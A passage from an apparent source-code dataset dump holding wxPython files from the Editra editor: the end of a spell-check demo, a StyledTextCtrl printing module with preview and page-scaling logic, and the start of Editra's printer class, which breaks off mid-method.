evt.Skip()\n \n def OnIdle(self, evt):\n #print(\"Idle\")\n self.idle_count += 1\n if self.idle_count > 10:\n self.spell.processIdleBlock()\n self.idle_count = 0\n \n def transModType(self, modType):\n st = \"\"\n table = [(wx.stc.STC_MOD_INSERTTEXT, \"InsertText\"),\n (wx.stc.STC_MOD_DELETETEXT, \"DeleteText\"),\n (wx.stc.STC_MOD_CHANGESTYLE, \"ChangeStyle\"),\n (wx.stc.STC_MOD_CHANGEFOLD, \"ChangeFold\"),\n (wx.stc.STC_PERFORMED_USER, \"UserFlag\"),\n (wx.stc.STC_PERFORMED_UNDO, \"Undo\"),\n (wx.stc.STC_PERFORMED_REDO, \"Redo\"),\n (wx.stc.STC_LASTSTEPINUNDOREDO, \"Last-Undo/Redo\"),\n (wx.stc.STC_MOD_CHANGEMARKER, \"ChangeMarker\"),\n (wx.stc.STC_MOD_BEFOREINSERT, \"B4-Insert\"),\n (wx.stc.STC_MOD_BEFOREDELETE, \"B4-Delete\")\n ]\n\n for flag,text in table:\n if flag & modType:\n st = st + text + \" \"\n\n if not st:\n st = 'UNKNOWN'\n\n return st\n\n class Frame(wx.Frame):\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n\n self.stc = TestSTC(self, -1)\n\n self.CreateStatusBar()\n menubar = wx.MenuBar()\n self.SetMenuBar(menubar) # Adding the MenuBar to the Frame content.\n menu = wx.Menu()\n menubar.Append(menu, \"File\")\n self.menuAdd(menu, \"Open\", \"Open File\", self.OnOpenFile)\n self.menuAdd(menu, \"Quit\", \"Exit the pragram\", self.OnQuit)\n menu = wx.Menu()\n menubar.Append(menu, \"Edit\")\n self.menuAdd(menu, \"Check All\", \"Spell check the entire document\", self.OnCheckAll)\n self.menuAdd(menu, \"Check Current Page\", \"Spell check the currently visible page\", self.OnCheckPage)\n self.menuAdd(menu, \"Check Selection\", \"Spell check the selected region\", self.OnCheckSelection)\n menu.AppendSeparator()\n self.menuAdd(menu, \"Clear Spelling\", \"Remove spelling correction indicators\", self.OnClearSpelling)\n menu = wx.Menu()\n menubar.Append(menu, \"Language\")\n langs = self.stc.spell.getAvailableLanguages()\n self.lang_id = {}\n for lang in langs:\n id = wx.NewId()\n self.lang_id[id] = lang\n self.menuAdd(menu, lang, \"Change dictionary to %s\" % lang, self.OnChangeLanguage, id=id)\n\n\n def loadFile(self, filename):\n fh = open(filename)\n self.stc.SetText(fh.read())\n self.stc.spell.clearDirtyRanges()\n self.stc.spell.checkCurrentPage()\n \n def loadSample(self, paragraphs=10):\n lorem_ipsum = u\"\"\"\\\nLorem ipsum dolor sit amet, consectetuer adipiscing elit. Vivamus mattis\ncommodo sem. Phasellus scelerisque tellus id lorem. Nulla facilisi.\nSuspendisse potenti. Fusce velit odio, scelerisque vel, consequat nec,\ndapibus sit amet, tortor. Vivamus eu turpis. Nam eget dolor. Integer\nat elit. Praesent mauris. Nullam non nulla at nulla tincidunt malesuada.\nPhasellus id ante. Sed mauris. Integer volutpat nisi non diam. Etiam\nelementum. Pellentesque interdum justo eu risus. Cum sociis natoque\npenatibus et magnis dis parturient montes, nascetur ridiculus mus. Nunc\nsemper. In semper enim ut odio. Nulla varius leo commodo elit. Quisque\ncondimentum, nisl eget elementum laoreet, mauris turpis elementum felis, ut\naccumsan nisl velit et mi.\n\nAnd some Russian: \\u041f\\u0438\\u0442\\u043e\\u043d - \\u043b\\u0443\\u0447\\u0448\\u0438\\u0439 \\u044f\\u0437\\u044b\\u043a \\u043f\\u0440\\u043e\\u0433\\u0440\\u0430\\u043c\\u043c\\u0438\\u0440\\u043e\\u0432\\u0430\\u043d\\u0438\\u044f!\n\n\"\"\"\n self.stc.ClearAll()\n for i in range(paragraphs):\n self.stc.AppendText(lorem_ipsum)\n # Call the spell check after the text has had a chance to be\n # displayed and the window resized to the correct size.\n self.stc.spell.clearDirtyRanges()\n wx.CallAfter(self.stc.spell.checkCurrentPage)\n\n def menuAdd(self, menu, name, desc, fcn, id=-1, kind=wx.ITEM_NORMAL):\n if id == -1:\n id = wx.NewId()\n a = wx.MenuItem(menu, id, name, desc, kind)\n menu.AppendItem(a)\n wx.EVT_MENU(self, id, fcn)\n menu.SetHelpString(id, desc)\n \n def OnOpenFile(self, evt):\n dlg = wx.FileDialog(self, \"Choose a text file\",\n defaultDir = \"\",\n defaultFile = \"\",\n wildcard = \"*\")\n if dlg.ShowModal() == wx.ID_OK:\n print(\"Opening %s\" % dlg.GetPath())\n self.loadFile(dlg.GetPath())\n dlg.Destroy()\n \n def OnQuit(self, evt):\n self.Close(True)\n \n def OnCheckAll(self, evt):\n self.stc.spell.checkAll()\n \n def OnCheckPage(self, evt):\n self.stc.spell.checkCurrentPage()\n \n def OnCheckSelection(self, evt):\n self.stc.spell.checkSelection()\n \n def OnClearSpelling(self, evt):\n self.stc.spell.clearAll()\n \n def OnChangeLanguage(self, evt):\n id = evt.GetId()\n normalized = locale.normalize(self.lang_id[id])\n try:\n locale.setlocale(locale.LC_ALL, normalized)\n print(\"Changing locale %s, dictionary set to %s\" % (normalized, self.lang_id[id]))\n except locale.Error:\n print(\"Can't set python locale to %s; dictionary set to %s\" % (normalized, self.lang_id[id]))\n self.stc.spell.setLanguage(self.lang_id[id])\n self.stc.spell.clearAll()\n self.stc.spell.checkCurrentPage()\n\n app = wx.App(False)\n frame = Frame(None, size=(600, -1))\n need_sample = True\n if len(sys.argv) > 1:\n if not sys.argv[-1].startswith(\"-\"):\n frame.loadFile(sys.argv[-1])\n need_sample = False\n if need_sample:\n frame.loadSample()\n if '-d' in sys.argv:\n frame.stc.spell._spelling_debug = True\n frame.Show()\n app.MainLoop()\n", "id": "9855013", "language": "Python", "matching_score": 6.210250377655029, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/stcspellcheck.py" }, { "content": "#-----------------------------------------------------------------------------\n# Name: stcprint.py\n# Purpose: wx.StyledTextCtrl printing support\n#\n# Author: <NAME>\n#\n# Created: 2009\n# RCS-ID: $Id: stcprint.py 67499 2011-04-15 20:33:40Z CJP $\n# Copyright: (c) 2009 <NAME> <<EMAIL>>\n# (c) 2007 <NAME> <<EMAIL>>\n# License: wxWidgets\n#-----------------------------------------------------------------------------\n\"\"\"Printing support for the wx.StyledTextCtrl\n\nConcrete implementation of the wx.Printout class to generate a print preview\nand paper copies of the contents of a wx.StyledTextCtrl. This was written\nfor U{Peppy<http://peppy.flipturn.org>} but has been designed as a standalone\nclass with no dependencies on peppy. It can be used for general purpose\nprinting or print preview of a wx.StyledTextCtrl. See the demo application at\nthe end of this file for more information.\n\nI used code from U{Editra<http://www.editra.org>} as a starting point; other\npointers came from the wxPython mailing list, and lots was just pure ol'\ntrial and error because I couldn't find much specific documentation on the\nFormatRange method of the STC.\n\nNOTE: there are issues with certain scale factors when using print preview on\nMSW. Some scale factors seem to work correctly, like 150%, but other smaller\nscale factors cause the preview font size to fluctuate. Some zoom levels will\nuse very small fonts and render all the lines in the top half of the page,\nwhile other zoom levels use an incorrectly large font and render lines off the\nbottom of the page. The printed output is unaffected, however, and renders\nthe correct number of lines.\n\"\"\"\n\nimport os\n\nimport wx\nimport wx.stc\n_ = wx.GetTranslation\n\nclass STCPrintout(wx.Printout):\n \"\"\"Specific printing support of the wx.StyledTextCtrl for the wxPython\n framework\n \n This class can be used for both printing to a printer and for print preview\n functions. Unless otherwise specified, the print is scaled based on the\n size of the current font used in the STC so that specifying a larger font\n produces a larger font in the printed output (and correspondingly fewer\n lines per page). Alternatively, you can eihdec specify the number of\n lines per page, or you can specify the print font size in points which\n produces a constant number of lines per inch regardless of the paper size.\n \n Note that line wrapping in the source STC is currently ignored and lines\n will be truncated at the right margin instead of wrapping. The STC doesn't\n provide a convenient method for determining where line breaks occur within\n a wrapped line, so it may be a difficult task to ever implement printing\n with line wrapping using the wx.StyledTextCtrl.FormatRange method.\n \"\"\"\n debuglevel = 0\n \n def __init__(self, stc, page_setup_data=None, print_mode=None, title=None, \n border=False, lines_per_page=None, output_point_size=None,\n job_title=None):\n \"\"\"Constructor.\n \n @param stc: wx.StyledTextCtrl to print\n \n @kwarg page_setup_data: optional wx.PageSetupDialogData instance that\n is used to determine the margins of the page.\n \n @kwarg print_mode: optional; of the wx.stc.STC_PRINT_*\n flags indicating how to render color text. Defaults to\n wx.stc.STC_PRINT_COLOURONWHITEDEFAULTBG\n \n @kwarg title: optional text string to use as the title which will be\n centered above the first line of text on each page\n \n @kwarg border: optional flag indicating whether or not to draw a black\n border around the text on each page\n \n @kwarg lines_per_page: optional integer that will force the page to\n contain the specified number of lines. Either of C{output_point_size}\n and C{lines_per_page} fully specifies the page, so if both are\n specified, C{lines_per_page} will be used.\n \n @kwarg output_point_size: optional integer that will force the output\n text to be drawn in the specified point size. (Note that there are\n 72 points per inch.) If not specified, the point size of the text in\n the STC will be used unless C{lines_per_page} is specified. Either of\n C{output_point_size} and C{lines_per_page} fully specifies the page,\n so if both are specified, C{lines_per_page} will be used.\n \"\"\"\n if not job_title:\n job_title = wx.PrintoutTitleStr\n wx.Printout.__init__(self, job_title)\n self.stc = stc\n if print_mode:\n self.print_mode = print_mode\n else:\n self.print_mode = wx.stc.STC_PRINT_COLOURONWHITEDEFAULTBG\n if title is not None:\n self.title = title\n else:\n self.title = \"\"\n if page_setup_data is None:\n self.top_left_margin = wx.Point(15,15)\n self.bottom_right_margin = wx.Point(15,15)\n else:\n self.top_left_margin = page_setup_data.GetMarginTopLeft()\n self.bottom_right_margin = page_setup_data.GetMarginBottomRight()\n \n try:\n value = float(output_point_size)\n if value > 0.0:\n self.output_point_size = value\n except (TypeError, ValueError):\n self.output_point_size = None\n \n try:\n value = int(lines_per_page)\n if value > 0:\n self.user_lines_per_page = value\n except (TypeError, ValueError):\n self.user_lines_per_page = None\n \n self.border_around_text = border\n \n self.setHeaderFont()\n \n def OnPreparePrinting(self):\n \"\"\"Called once before a print job is started to set up any defaults.\n \n \"\"\"\n dc = self.GetDC()\n self._calculateScale(dc)\n self._calculatePageCount()\n \n def _calculateScale(self, dc):\n \"\"\"Scale the DC\n \n This routine scales the DC based on the font size, determines the\n number of lines on a page, and saves some useful pixel locations like\n the top left corner and the width and height of the drawing area in\n logical coordinates.\n \"\"\"\n if self.debuglevel > 0:\n print\n \n dc.SetFont(self.stc.GetFont())\n \n # Calculate pixels per inch of the various devices. The dc_ppi will be\n # equivalent to the page or screen PPI if the target is the printer or\n # a print preview, respectively.\n page_ppi_x, page_ppi_y = self.GetPPIPrinter()\n screen_ppi_x, screen_ppi_y = self.GetPPIScreen()\n dc_ppi_x, dc_ppi_y = dc.GetPPI()\n if self.debuglevel > 0:\n print(\"printer ppi: %dx%d\" % (page_ppi_x, page_ppi_y))\n print(\"screen ppi: %dx%d\" % (screen_ppi_x, screen_ppi_y))\n print(\"dc ppi: %dx%d\" % (dc_ppi_x, dc_ppi_y))\n \n # Calculate paper size. Note that this is the size in pixels of the\n # entire paper, which may be larger than the printable range of the\n # printer. We need to use the entire paper size because we calculate\n # margins ourselves. Note that GetPageSizePixels returns the\n # dimensions of the printable area.\n px, py, pw, ph = self.GetPaperRectPixels()\n page_width_inch = float(pw) / page_ppi_x\n page_height_inch = float(ph) / page_ppi_y\n if self.debuglevel > 0:\n print(\"page pixels: %dx%d\" % (pw, ph))\n print(\"page size: %fx%f in\" % (page_width_inch, page_height_inch))\n \n dw, dh = dc.GetSizeTuple()\n dc_pixels_per_inch_x = float(dw) / page_width_inch\n dc_pixels_per_inch_y = float(dh) / page_height_inch\n if self.debuglevel > 0:\n print(\"device pixels: %dx%d\" % (dw, dh))\n print(\"device pixels per inch: %fx%f\" % (dc_pixels_per_inch_x, dc_pixels_per_inch_y))\n \n # Calculate usable page size\n page_height_mm = page_height_inch * 25.4\n margin_mm = self.top_left_margin[1] + self.bottom_right_margin[1]\n usable_page_height_mm = page_height_mm - margin_mm\n \n # Lines per page is then the number of lines (based on the point size\n # reported by wx) that will fit into the usable page height\n self.lines_pp = self._calculateLinesPerPage(dc, usable_page_height_mm)\n \n # The final DC scale factor is then the ratio of the total height in\n # pixels inside the margins to the number of pixels that it takes to\n # represent the number of lines\n dc_margin_pixels = float(dc_pixels_per_inch_y) * margin_mm / 25.4\n dc_usable_pixels = dh - dc_margin_pixels\n page_to_dc = self._calculateScaleFactor(dc, dc_usable_pixels, self.lines_pp)\n\n dc.SetUserScale(page_to_dc, page_to_dc)\n\n if self.debuglevel > 0:\n print(\"Usable page height: %f in\" % (usable_page_height_mm / 25.4))\n print(\"Usable page pixels: %d\" % dc_usable_pixels)\n print(\"lines per page: %d\" % self.lines_pp)\n print(\"page_to_dc: %f\" % page_to_dc)\n\n self.x1 = dc.DeviceToLogicalXRel(float(self.top_left_margin[0]) / 25.4 * dc_pixels_per_inch_x)\n self.y1 = dc.DeviceToLogicalXRel(float(self.top_left_margin[1]) / 25.4 * dc_pixels_per_inch_y)\n self.x2 = dc.DeviceToLogicalXRel(dw) - dc.DeviceToLogicalXRel(float(self.bottom_right_margin[0]) / 25.4 * dc_pixels_per_inch_x)\n self.y2 = dc.DeviceToLogicalYRel(dh) - dc.DeviceToLogicalXRel(float(self.bottom_right_margin[1]) / 25.4 * dc_pixels_per_inch_y)\n page_height = self.y2 - self.y1\n\n #self.lines_pp = int(page_height / dc_pixels_per_line)\n \n if self.debuglevel > 0:\n print(\"page size: %d,%d -> %d,%d, height=%d\" % (int(self.x1), int(self.y1), int(self.x2), int(self.y2), page_height))\n \n def _calculateLinesPerPage(self, dc, usable_page_height_mm):\n \"\"\"Calculate the number of lines that will fit on the page.\n \n @param dc: the Device Context\n \n @param usable_page_height_mm: height in mm of the printable part of the\n page (i.e. with the border height removed)\n \n @returns: the number of lines on the page\n \"\"\"\n if self.user_lines_per_page is not None:\n return self.user_lines_per_page\n \n font = dc.GetFont()\n if self.output_point_size is not None:\n points_per_line = self.output_point_size\n else:\n points_per_line = font.GetPointSize()\n \n # desired lines per mm based on point size. Note: printer points are\n # defined as 72 points per inch\n lines_per_inch = 72.0 / float(points_per_line)\n \n if self.debuglevel > 0:\n print(\"font: point size per line=%d\" % points_per_line)\n print(\"font: lines per inch=%f\" % lines_per_inch)\n \n # Lines per page is then the number of lines (based on the point size\n # reported by wx) that will fit into the usable page height\n return float(usable_page_height_mm) / 25.4 * lines_per_inch\n\n def _calculateScaleFactor(self, dc, dc_usable_pixels, lines_pp):\n \"\"\"Calculate the scale factor for the DC to fit the number of lines\n onto the printable area\n \n @param dc: the Device Context\n \n @param dc_usable_pixels: the number of pixels that defines usable\n height of the printable area\n \n @param lines_pp: the number of lines to fit into the printable area\n \n @returns: the scale facter to be used in wx.DC.SetUserScale\n \"\"\"\n # actual line height in pixels according to the DC\n dc_pixels_per_line = dc.GetCharHeight()\n \n # actual line height in pixels according to the STC. This can be\n # different from dc_pixels_per_line even though it is the same font.\n # Don't know why this is the case; maybe because the STC takes into\n # account additional spacing?\n stc_pixels_per_line = self.stc.TextHeight(0)\n if self.debuglevel > 0:\n print(\"font: dc pixels per line=%d\" % dc_pixels_per_line)\n print(\"font: stc pixels per line=%d\" % stc_pixels_per_line)\n \n # Platform dependency alert: I don't know why this works, but through\n # experimentation it seems like the scaling factor depends on\n # different font heights depending on the platform.\n if wx.Platform == \"__WXMSW__\":\n # On windows, the important font height seems to be the number of\n # pixels reported by the STC\n page_to_dc = float(dc_usable_pixels) / (stc_pixels_per_line * lines_pp)\n else:\n # Linux and Mac: the DC font height seems to be the correct height\n page_to_dc = float(dc_usable_pixels) / (dc_pixels_per_line * lines_pp)\n return page_to_dc\n\n def _calculatePageCount(self, attempt_wrap=False):\n \"\"\"Calculates offsets into the STC for each page\n \n This pre-calculates the page offsets for each page to support print\n preview being able to seek backwards and forwards.\n \"\"\"\n page_offsets = []\n page_line_start = 0\n lines_on_page = 0\n num_lines = self.stc.GetLineCount()\n \n line = 0\n while line < num_lines:\n if attempt_wrap:\n wrap_count = self.stc.WrapCount(line)\n if wrap_count > 1 and self.debuglevel > 0:\n print(\"found wrapped line %d: %d\" % (line, wrap_count))\n else:\n wrap_count = 1\n \n # If the next line pushes the count over the edge, mark a page and\n # start the next page\n if lines_on_page + wrap_count > self.lines_pp:\n start_pos = self.stc.PositionFromLine(page_line_start)\n end_pos = self.stc.GetLineEndPosition(page_line_start + lines_on_page - 1)\n if self.debuglevel > 0:\n print(\"Page: line %d - %d\" % (page_line_start, page_line_start + lines_on_page))\n page_offsets.append((start_pos, end_pos))\n page_line_start = line\n lines_on_page = 0\n lines_on_page += wrap_count\n line += 1\n \n if lines_on_page > 0:\n start_pos = self.stc.PositionFromLine(page_line_start)\n end_pos = self.stc.GetLineEndPosition(page_line_start + lines_on_page)\n page_offsets.append((start_pos, end_pos))\n \n self.page_count = len(page_offsets)\n self.page_offsets = page_offsets\n if self.debuglevel > 0:\n print(\"page offsets: %s\" % self.page_offsets)\n\n def _getPositionsOfPage(self, page):\n \"\"\"Get the starting and ending positions of a page\n \n @param page: page number\n \n @returns: tuple containing the start and end positions that can be\n passed to FormatRange to render a page\n \"\"\"\n page -= 1\n start_pos, end_pos = self.page_offsets[page]\n return start_pos, end_pos\n\n def GetPageInfo(self):\n \"\"\"Return the valid page ranges.\n \n Note that pages are numbered starting from one.\n \"\"\"\n return (1, self.page_count, 1, self.page_count)\n\n def HasPage(self, page):\n \"\"\"Returns True if the specified page is within the page range\n \n \"\"\"\n return page <= self.page_count\n\n def OnPrintPage(self, page):\n \"\"\"Draws the specified page to the DC\n\n @param page: page number to render\n \"\"\"\n dc = self.GetDC()\n self._calculateScale(dc)\n\n self._drawPageContents(dc, page)\n self._drawPageHeader(dc, page)\n self._drawPageBorder(dc)\n\n return True\n \n def _drawPageContents(self, dc, page):\n \"\"\"Render the STC window into a DC for printing.\n \n Force the right margin of the rendered window to be huge so the STC\n won't attempt word wrapping.\n \n @param dc: the device context representing the page\n \n @param page: page number\n \"\"\"\n start_pos, end_pos = self._getPositionsOfPage(page)\n render_rect = wx.Rect(self.x1, self.y1, 32000, self.y2)\n page_rect = wx.Rect(self.x1, self.y1, self.x2, self.y2)\n\n self.stc.SetPrintColourMode(self.print_mode)\n edge_mode = self.stc.GetEdgeMode()\n self.stc.SetEdgeMode(wx.stc.STC_EDGE_NONE)\n end_point = self.stc.FormatRange(True, start_pos, end_pos, dc, dc,\n render_rect, page_rect)\n self.stc.SetEdgeMode(edge_mode)\n \n def _drawPageHeader(self, dc, page):\n \"\"\"Draw the page header into the DC for printing\n \n @param dc: the device context representing the page\n \n @param page: page number\n \"\"\"\n # Set font for title/page number rendering\n dc.SetFont(self.getHeaderFont())\n dc.SetTextForeground (\"black\")\n dum, yoffset = dc.GetTextExtent(\".\")\n yoffset /= 2\n if self.title:\n title_w, title_h = dc.GetTextExtent(self.title)\n dc.DrawText(self.title, self.x1, self.y1 - title_h - yoffset)\n\n # Page Number\n page_lbl = _(\"Page: %d\") % page\n pg_lbl_w, pg_lbl_h = dc.GetTextExtent(page_lbl)\n dc.DrawText(page_lbl, self.x2 - pg_lbl_w, self.y1 - pg_lbl_h - yoffset)\n \n def setHeaderFont(self, point_size=10, family=wx.FONTFAMILY_SWISS,\n style=wx.FONTSTYLE_NORMAL, weight=wx.FONTWEIGHT_NORMAL):\n \"\"\"Set the font to be used as the header font\n \n @param point_size: point size of the font\n \n @param family: one of the wx.FONTFAMILY_* values, e.g.\n wx.FONTFAMILY_SWISS, wx.FONTFAMILY_ROMAN, etc.\n \n @param style: one of the wx.FONTSTYLE_* values, e.g.\n wxFONTSTYLE_NORMAL, wxFONTSTYLE_ITALIC, etc.\n \n @param weight: one of the wx.FONTWEIGHT_* values, e.g.\n wx.FONTWEIGHT_NORMAL, wx.FONTWEIGHT_LIGHT, etc.\n \"\"\"\n self.header_font_point_size = point_size\n self.header_font_family = family\n self.header_font_style = style\n self.header_font_weight = weight\n \n def getHeaderFont(self):\n \"\"\"Returns the font to be used to draw the page header text\n \n @returns: wx.Font instance\n \"\"\"\n point_size = self.header_font_point_size\n font = wx.Font(point_size, self.header_font_family,\n self.header_font_style, self.header_font_weight)\n return font\n\n def _drawPageBorder(self, dc):\n \"\"\"Draw the page border into the DC for printing\n \n @param dc: the device context representing the page\n \"\"\"\n if self.border_around_text:\n dc.SetPen(wx.BLACK_PEN)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(self.x1, self.y1, self.x2 - self.x1 + 1, self.y2 - self.y1 + 1)\n\n\nif __name__ == \"__main__\":\n import sys\n import __builtin__\n __builtin__._ = unicode\n \n # Set up sample print data\n top_left_margin = wx.Point(15,15)\n bottom_right_margin = wx.Point(15,15)\n \n def wrap(text, width=80):\n \"\"\"A word-wrap function that preserves existing line breaks\n and most spaces in the text.\n \n Expects that existing line breaks are posix newlines (\\n).\n \n http://code.activestate.com/recipes/148061/\n \"\"\"\n return reduce(lambda line, word, width=width: '%s%s%s' %\n (line,\n ' \\n'[(len(line)-line.rfind('\\n')-1\n + len(word.split('\\n',1)[0]\n ) >= width)],\n word),\n text.split(' ')\n )\n\n class TestSTC(wx.stc.StyledTextCtrl):\n def __init__(self, *args, **kwargs):\n wx.stc.StyledTextCtrl.__init__(self, *args, **kwargs)\n self.SetMarginType(0, wx.stc.STC_MARGIN_NUMBER)\n self.SetMarginWidth(0, 32)\n\n class Frame(wx.Frame):\n def __init__(self, *args, **kwargs):\n super(self.__class__, self).__init__(*args, **kwargs)\n\n self.stc = TestSTC(self, -1)\n\n self.CreateStatusBar()\n menubar = wx.MenuBar()\n self.SetMenuBar(menubar) # Adding the MenuBar to the Frame content.\n menu = wx.Menu()\n menubar.Append(menu, \"File\")\n self.menuAdd(menu, \"Open\", \"Open File\", self.OnOpenFile)\n menu.AppendSeparator()\n self.menuAdd(menu, \"Print Preview\", \"Display print preview\", self.OnPrintPreview)\n self.menuAdd(menu, \"Print\", \"Print to printer or file\", self.OnPrint)\n menu.AppendSeparator()\n self.menuAdd(menu, \"Quit\", \"Exit the pragram\", self.OnQuit)\n \n self.print_data = wx.PrintData()\n self.print_data.SetPaperId(wx.PAPER_LETTER)\n\n\n def loadFile(self, filename, word_wrap=False):\n fh = open(filename)\n text = fh.read()\n if word_wrap:\n text = wrap(text)\n self.stc.SetText(fh.read())\n \n def loadSample(self, paragraphs=10, word_wrap=False):\n lorem_ipsum = u\"\"\"\\\nLorem ipsum dolor sit amet, consectetuer adipiscing elit. Vivamus mattis\ncommodo sem. Phasellus scelerisque tellus id lorem. Nulla facilisi.\nSuspendisse potenti. Fusce velit odio, scelerisque vel, consequat nec,\ndapibus sit amet, tortor.\n\nVivamus eu turpis. Nam eget dolor. Integer at elit. Praesent mauris. Nullam non nulla at nulla tincidunt malesuada. Phasellus id ante. Sed mauris. Integer volutpat nisi non diam.\n\nEtiam elementum. Pellentesque interdum justo eu risus. Cum sociis natoque\npenatibus et magnis dis parturient montes, nascetur ridiculus mus. Nunc\nsemper.\n\nIn semper enim ut odio. Nulla varius leo commodo elit. Quisque condimentum, nisl eget elementum laoreet, mauris turpis elementum felis, ut accumsan nisl velit et mi.\n\nAnd some Russian: \\u041f\\u0438\\u0442\\u043e\\u043d - \\u043b\\u0443\\u0447\\u0448\\u0438\\u0439 \\u044f\\u0437\\u044b\\u043a \\u043f\\u0440\\u043e\\u0433\\u0440\\u0430\\u043c\\u043c\\u0438\\u0440\\u043e\\u0432\\u0430\\u043d\\u0438\\u044f!\n\n\"\"\"\n if word_wrap:\n lorem_ipsum = wrap(lorem_ipsum)\n self.stc.ClearAll()\n for i in range(paragraphs):\n self.stc.AppendText(lorem_ipsum)\n wx.CallAfter(self.OnPrintPreview, None)\n\n def menuAdd(self, menu, name, desc, fcn, id=-1, kind=wx.ITEM_NORMAL):\n if id == -1:\n id = wx.NewId()\n a = wx.MenuItem(menu, id, name, desc, kind)\n menu.AppendItem(a)\n wx.EVT_MENU(self, id, fcn)\n menu.SetHelpString(id, desc)\n \n def OnOpenFile(self, evt):\n dlg = wx.FileDialog(self, \"Choose a text file\",\n defaultDir = \"\",\n defaultFile = \"\",\n wildcard = \"*\")\n if dlg.ShowModal() == wx.ID_OK:\n print(\"Opening %s\" % dlg.GetPath())\n self.loadFile(dlg.GetPath())\n dlg.Destroy()\n \n def OnQuit(self, evt):\n self.Close(True)\n \n def getPrintData(self):\n return self.print_data\n \n def OnPrintPreview(self, evt):\n wx.CallAfter(self.showPrintPreview)\n \n def showPrintPreview(self):\n printout = STCPrintout(self.stc, title=\"Testing!!!\", border=True, output_point_size=10)\n printout2 = STCPrintout(self.stc, title=\"Testing!!!\", border=True, output_point_size=10)\n preview = wx.PrintPreview(printout, printout2, self.getPrintData())\n preview.SetZoom(100)\n if preview.IsOk():\n pre_frame = wx.PreviewFrame(preview, self, _(\"Print Preview\"))\n dsize = wx.GetDisplaySize()\n pre_frame.SetInitialSize((self.GetSize()[0],\n dsize.GetHeight() - 100))\n pre_frame.Initialize()\n pre_frame.Show()\n else:\n wx.MessageBox(_(\"Failed to create print preview\"),\n _(\"Print Error\"),\n style=wx.ICON_ERROR|wx.OK)\n \n def OnPrint(self, evt):\n wx.CallAfter(self.showPrint)\n \n def showPrint(self):\n pdd = wx.PrintDialogData(self.getPrintData())\n printer = wx.Printer(pdd)\n printout = STCPrintout(self.stc)\n result = printer.Print(self.stc, printout)\n if result:\n data = printer.GetPrintDialogData()\n self.print_data = wx.PrintData(data.GetPrintData())\n elif printer.GetLastError() == wx.PRINTER_ERROR:\n wx.MessageBox(_(\"There was an error when printing.\\n\"\n \"Check that your printer is properly connected.\"),\n _(\"Printer Error\"),\n style=wx.ICON_ERROR|wx.OK)\n printout.Destroy()\n\n app = wx.App(False)\n frame = Frame(None, size=(800, -1))\n word_wrap = False\n filename = None\n if len(sys.argv) > 1:\n if not sys.argv[-1].startswith(\"-\"):\n filename = sys.argv[-1]\n if '-d' in sys.argv:\n STCPrintout.debuglevel = 1\n if '-w' in sys.argv:\n word_wrap = True\n if filename:\n frame.loadFile(filename, word_wrap)\n else:\n frame.loadSample(word_wrap=word_wrap)\n frame.Show()\n app.MainLoop()\n", "id": "5722563", "language": "Python", "matching_score": 6.219980239868164, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/stcprint.py" }, { "content": "###############################################################################\n# Name: ed_print.py #\n# Purpose: Editra's printer class #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nPrinter class for creating and managing printouts from a StyledTextCtrl.\n\nClasses:\n - L{EdPrinter}: Class for managing printing and providing print dialogs\n - L{EdPrintout}: Scales and renders the given document to a printer.\n\n@summary: Printer Classes for printing text from an STC\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: ed_print.py 67499 2011-04-15 20:33:40Z CJP $\"\n__revision__ = \"$Revision: 67499 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.stc\n\n# Editra Imports\nimport ed_glob\nimport util\nimport extern.stcprint as stcprint\n\n_ = wx.GetTranslation\n#--------------------------------------------------------------------------#\n\n# Globals\nCOLOURMODES = { ed_glob.PRINT_BLACK_WHITE : wx.stc.STC_PRINT_BLACKONWHITE,\n ed_glob.PRINT_COLOR_WHITE : wx.stc.STC_PRINT_COLOURONWHITE,\n ed_glob.PRINT_COLOR_DEF : wx.stc.STC_PRINT_COLOURONWHITEDEFAULTBG,\n ed_glob.PRINT_INVERT : wx.stc.STC_PRINT_INVERTLIGHT,\n ed_glob.PRINT_NORMAL : wx.stc.STC_PRINT_NORMAL }\n\n#--------------------------------------------------------------------------#\nclass EdPrinter(object):\n \"\"\"Printer Class for the editor\n @note: current font size is fixed at 12 point for printing\n\n \"\"\"\n def __init__(self, parent, mode=ed_glob.PRINT_NORMAL):\n \"\"\"Initializes the Printer\n @param parent: parent window\n @keyword mode: printer mode\n\n \"\"\"\n super(EdPrinter, self).__init__()\n\n # Attributes\n self.stc = None\n self.title = wx.EmptyString\n self.parent = parent\n self.print_mode = mode\n self.print_data = wx.PrintData()\n self.margins = (wx.Point(15,15), wx.Point(15,15))\n\n def CreatePrintout(self):\n \"\"\"Creates a printout of the current stc window\n @return: a printout object\n\n \"\"\"\n colour = COLOURMODES[self.print_mode]\n dlg_data = wx.PageSetupDialogData(self.print_data)\n dlg_data.SetPrintData(self.print_data)\n dlg_data.SetMarginTopLeft(self.margins[0])\n dlg_data.SetMarginBottomRight(self.margins[1])\n fname = self.stc.GetFileName()\n printout = stcprint.STCPrintout(self.stc, page_setup_data=dlg_data, \n print_mode=colour, title=self.title,\n job_title=fname)\n return printout\n\n def PageSetup(self):\n \"\"\"Opens a print setup dialog and save print settings.\n @return: None\n\n \"\"\"\n dlg_data = wx.PageSetupDialogData(self.print_data)\n dlg_data.SetPrintData(self.print_data)\n \n dlg_data.SetDefaultMinMargins(True)\n dlg_data.SetMarginTopLeft(self.margins[0])\n dlg_data.SetMarginBottomRight(self.margins[1])\n\n print_dlg = wx.PageSetupDialog(self.parent, dlg_data)\n if print_dlg.ShowModal() == wx.ID_OK:\n self.print_data = wx.PrintData(dlg_data.GetPrintData())\n self.print_data.SetPaperId(dlg_data.GetPaperId())\n self.margins = (dlg_data.GetMarginTopLeft(),\n dlg_data.GetMarginBottomRight())\n print_dlg.Destroy()\n\n def Preview(self):\n \"\"\"Preview the Print\n @return: None\n\n \"\"\"\n printout = self.CreatePrintout()\n printout2 = self.CreatePrintout()\n preview = wx.PrintPreview(printout, printout2, self.print_data)\n preview.SetZoom(150)\n if preview.IsOk():\n pre_frame = 